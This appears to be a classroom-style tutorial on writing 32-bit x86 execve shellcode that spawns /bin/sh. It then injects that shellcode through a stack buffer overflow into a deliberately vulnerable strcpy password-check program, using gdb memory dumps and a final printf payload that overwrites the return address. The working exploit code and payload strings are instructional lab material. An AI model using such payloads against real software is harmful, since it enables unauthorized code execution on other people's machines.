It's a piece of code used to exploit vulnerabilities in software, got the name as it was many times used to spawn a shell to allow the user to take command of another machine.
First of all we need to build the shellcode. We'll write some assembly that will do our bidding. We will use x86-32bit architecture instructions.
%eax
: the first argument for syscalls%ebx
: the second argument for syscalls%ecx
: the third argument for syscalls%edx
: the fourth argument for syscalls
Each one of the above has a register for high and low bits.
%ah
: high and %al
low for %eax
%bh
: high and %bl
low for %ebx
etc...
%esi
: the fifth argument for syscalls%edi
: the sixth argument for syscalls%ebp
: the seventh argument for syscalls%esp
: stack pointer%ebp
: base pointer%esi
: source index%edi
: destination index%eip
: instruction pointermov $0x80, %eax
= %eax = 128
inc %eax
= %eax ++
dec %eax
= %eax --
xor %eax, %eax
= %eax = 0
int $0x80
= execute system callpush %eax
= push to stackpop %eax
= pop from stackadd 0x4, %eax
= add 4 to %eaxsub 0x4, %eax
= sub 4 from %eax
Data can be stored from left to right, or from right to left. Little endian
goes from right to left and big from left to right. ie. 0x12345678
in little endian would be stored as 0x78563412
Here are some
helpful files. You can either clone the repo or download the files from the
releases page. Firstly we are going to write our shellcode. Our goal is to
spaw a shell. So we are going to use the command
execve("/bin/sh", NULL, NULL);
"/bin/sh" is only 7 bytes, we
need it to be 8, so a workaround would be to use "/bin//sh". Now to
represent the string in hex in little endian we get 0x68732f2f
and 0x6e69622f
. Create an assembly file with the following
contents.
.section .data
.section .text
.globl _start
_start:
xor %eax, %eax
push %eax # endof string \0
push $0x68732f2f # hs//
push $0x6e69622f # nib/
mov %esp, %ebx # put string in first arg
xor %ecx, %ecx
xor %edx, %edx
mov $0xb, %al # syscal num for execve
int $0x80 # execute system call
Now to compile it run:
as --32 ass.s -o ass.o
ld -m elf_i386 ass.o -o ass
Now running ./ass
should spawn a shell. Next we'll try putting
our shellcode in a test c program to see if it still works. To get the hex
of our shellcode run objdump -d ass.o
ass.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
Now get a c file with the following contents using the hex from the shellcode
#include <stdio.h>
int main(int argc, char *argv[]) {
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
int (*fptr)() = (int (*)()) shellcode;
fptr();
fprintf(stderr, "Should not be printed\n");
return 1;
}
Compile this program gcc -Wall -ggdb -z execstack -m32 c.c -o c
and run it, a shell should spawn. Now we can get a random program and try
to spawn a shell in it. What we will do is cause a buffer overflow so when
a the program tries to return from some function we'll make it return to
the place where our shell code starts, in a part of the stack. Here's the
program we were given in class:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int password_valid = 0;
void authenticate_root(char *passwd) {
unsigned long marker = 0xdeadbeef;
char password[16];
strcpy(password, passwd);
fprintf(stderr, "%p\n", &marker);
fprintf(stderr, "Validating password: %s\n", password);
if (!strcmp(password, "e5ce4db216329f4f"))
password_valid = marker;
}
int main(int argc, char *argv[]) {
authenticate_root(argv[1]);
if (password_valid != 0) {
printf("Welcome administrator.\n");
} else {
printf("Access denied.\n");
}
return 1;
}
Now compile this program the same way we did for c above. Next run it
with gdb gdb ./ss
. Now we need to find out to what address
the program will return after executing authenticate_root. Run
disas main
(gdb) disas main
Dump of assembler code for function main:
0x08048545 <+0>: push %ebp
0x08048546 <+1>: mov %esp,%ebp
0x08048548 <+3>: and $0xfffffff0,%esp
0x0804854b <+6>: sub $0x10,%esp
0x0804854e <+9>: mov 0xc(%ebp),%eax
0x08048551 <+12>: add $0x4,%eax
0x08048554 <+15>: mov (%eax),%eax
0x08048556 <+17>: mov %eax,(%esp)
0x08048559 <+20>: call 0x80484cd <authenticate_root>
0x0804855e <+25>: mov 0x804a02c,%eax
0x08048563 <+30>: test %eax,%eax
0x08048565 <+32>: je 0x8048575 <main+48>
0x08048567 <+34>: movl $0x8048652,(%esp)
0x0804856e <+41>: call 0x8048390 <puts@plt>
0x08048573 <+46>: jmp 0x8048581 <main+60>
0x08048575 <+48>: movl $0x8048669,(%esp)
0x0804857c <+55>: call 0x8048390 <puts@plt>
0x08048581 <+60>: mov $0x1,%eax
0x08048586 <+65>: leave
0x08048587 <+66>: ret
End of assembler dump.
See line <+20> that's where authenticate_root is called, that means that
the return address will be the one below it: 0x0804855e
. Now
start
, s
into authenticate_root and
x/32x $ebp-32
(examine memory in hex, /32 means show 32
addresses and $ebp-32 means start 32 adresses before the register $ebp).
(gdb) x/32x $ebp-32
0xbffffda8: 0xb7decd78 0x0804833d 0x00000000 0x00c10000
0xbffffdb8: 0x0804a000 0x080485e2 0x00000001 0xbffffe84
0xbffffdc8: 0xbffffde8 0x0804855e 0x00000000 0x00008000
0xbffffdd8: 0x0804859b 0xb7fa7000 0x08048590 0x00000000
0xbffffde8: 0x00000000 0xb7dfa2d3 0x00000001 0xbffffe84
0xbffffdf8: 0xbffffe8c 0xb7fda6b0 0x00000001 0x00000001
0xbffffe08: 0x00000000 0x0804a018 0x08048260 0xb7fa7000
0xbffffe18: 0x00000000 0x00000000 0x00000000 0x85a3e2ee
As you can see we can see our return address at 0xbffffdd0
, we
are going to overwrite that address so it points to our shellcode. So as
input to the program we are going to use our shellcode followed by the
neccessary padding and then the address of our shellcode. Running
start `printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80AAAAAAAAAA"`
,
then stepping until after the strcpy
function and inspecting
memory we get:
0xbffffd88: 0xb7decd78 0x6850c031 0x68732f2f 0x69622f68
0xbffffd98: 0x31e3896e 0xb0d231c9 0x4180cd0b 0x41414141
0xbffffda8: 0x41414141 0x08040041 0xbfffff6f 0x00008000
0xbffffdb8: 0x0804859b 0xb7fa7000 0x08048590 0x00000000
0xbffffdc8: 0x00000000 0xb7dfa2d3 0x00000002 0xbffffe64
0xbffffdd8: 0xbffffe70 0xb7fda6b0 0x00000001 0x00000001
0xbffffde8: 0x00000000 0x0804a018 0x08048260 0xb7fa7000
0xbffffdf8: 0x00000000 0x00000000 0x00000000 0xa783a4a0
A in hex is 41, as we can see the last 2 numbers in our return address
became 41, you should also notice that because of the endianness the bytes
reverse inside each address. So now we need to remove one A, and point
to the start of our shellcode which in this case is 0xbffffd8c
.
start `printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80AAAAAAAAA\x8c\xfd\xff\xbf"`
Running with this input should spawn a shell. You can inspect memory and
see for yourself.
move 0xb, %eax
produces continuous zeroes use
move 0xb, %al
instead